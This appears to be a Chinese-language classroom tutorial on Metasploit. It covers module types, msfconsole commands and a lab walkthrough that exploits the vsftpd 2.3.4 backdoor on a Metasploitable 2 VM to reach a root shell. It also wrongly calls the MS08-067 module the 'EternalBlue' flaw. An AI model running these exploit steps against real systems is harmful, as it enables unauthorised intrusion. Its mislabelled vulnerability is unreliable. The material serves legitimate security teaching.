知道Metasploit 吗？

同学们好！ 今天我们开始学习网络安全领域最常用的渗透测试工具------Metasploit框架 。先从一个问题开始：为什么全球90%的安全团队都在用它？ 答案藏在它的"基因"里。

2003年，美国安全研究员 H.D. Moore 在自家车库里敲出了第一行Metasploit代码。当时的漏洞利用工具像"散弹枪"------每个漏洞需要单独写脚本，效率极低。Moore想：能不能做一个漏洞利用工具箱，把所有攻击代码整合起来？ 这就是Metasploit的初心。

场景对比：假设你是白帽黑客，测试公司服务器安全性：

同学们，现在我们打开Metasploit这个"超级工具箱"，看看里面有哪些"工具组件"。为了方便记忆，我们用修自行车来类比：

Exploit模块
- 示例：exploit/windows/smb/ms08_067_netapi
- 作用：针对Windows XP的"永恒之蓝"漏洞（仅用于授权测试！）。
Payload负载
- 示例：payload/windows/meterpreter/reverse_tcp
- 作用：让目标机器主动连接攻击者（类比"目标打电话给你，你接管控制权"）。
Auxiliary模块
- 示例：auxiliary/scanner/portscan/syn
- 作用：扫描目标开放端口（类比"敲门测试"：敲80号门→可能是网站；敲22号门→可能是SSH）。

现在我们打开终端，输入 msfconsole 进入控制台。第一次看到花花绿绿的界面别慌，我们只需要掌握5个"导航键"。

命令	作用	示例与说明
`help`	查看所有命令	列出200+命令，重点记常用5个
`search ms08-067`	搜索漏洞模块	结果显示`exploit/windows/smb/ms08_067_netapi`
`use 0`	选择第一个搜索结果	进入漏洞配置界面
`show options`	查看需要设置的参数	重点关注`RHOSTS`（目标IP）、`LHOST`（本机IP）
`set RHOSTS 192.168.1.100`	设置目标IP	填入目标地址
`exploit`	执行攻击	成功后显示`Meterpreter session 1 opened`

实验目标 ：攻击本地的 Metasploitable 2虚拟机（已授权的测试环境）。

搜索漏洞模块
bash 复制代码
```
search vsftpd_234_backdoor  # 搜索vsftpd 2.3.4后门漏洞模块  
```
输出：显示exploit/unix/ftp/vsftpd_234_backdoor（假设编号为2）。

选择并配置模块

bash 复制代码

use 2                          # 选择模块  
show options                   # 查看参数（重点确认RHOSTS）  
set RHOSTS 192.168.1.101       # 设置目标IP

执行攻击

bash 复制代码

exploit                        # 执行攻击

成功提示：

plaintext 复制代码

[*] Found vsftpd 2.3.4 → [+] Backdoor session 1 opened

验证结果

bash 复制代码

shell                          # 进入目标命令行  
whoami                         # 输出`root`，表示获取最高权限

知识点	关键点	检查是否掌握（√/×）
Metasploit起源	2003年由H.D. Moore创建，初心：整合漏洞利用	√/×
核心组件	Exploit（攻击）、Payload（控制）、Auxiliary（辅助）	√/×
控制台命令	search/use/set/exploit/show options	√/×
安全伦理	必须获得授权才能测试	√/×

在本地搭建Metasploitable 2环境，使用以下命令扫描其开放端口：

bash 复制代码

msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 目标IP; run; exit"

截图记录扫描结果，下节课我们将讲解如何分析端口扫描结果。

💡 学习建议：用"费曼技巧"复述本节课内容------尝试向同学讲解Metasploit的核心组件，若能讲清楚，说明已掌握基本概念。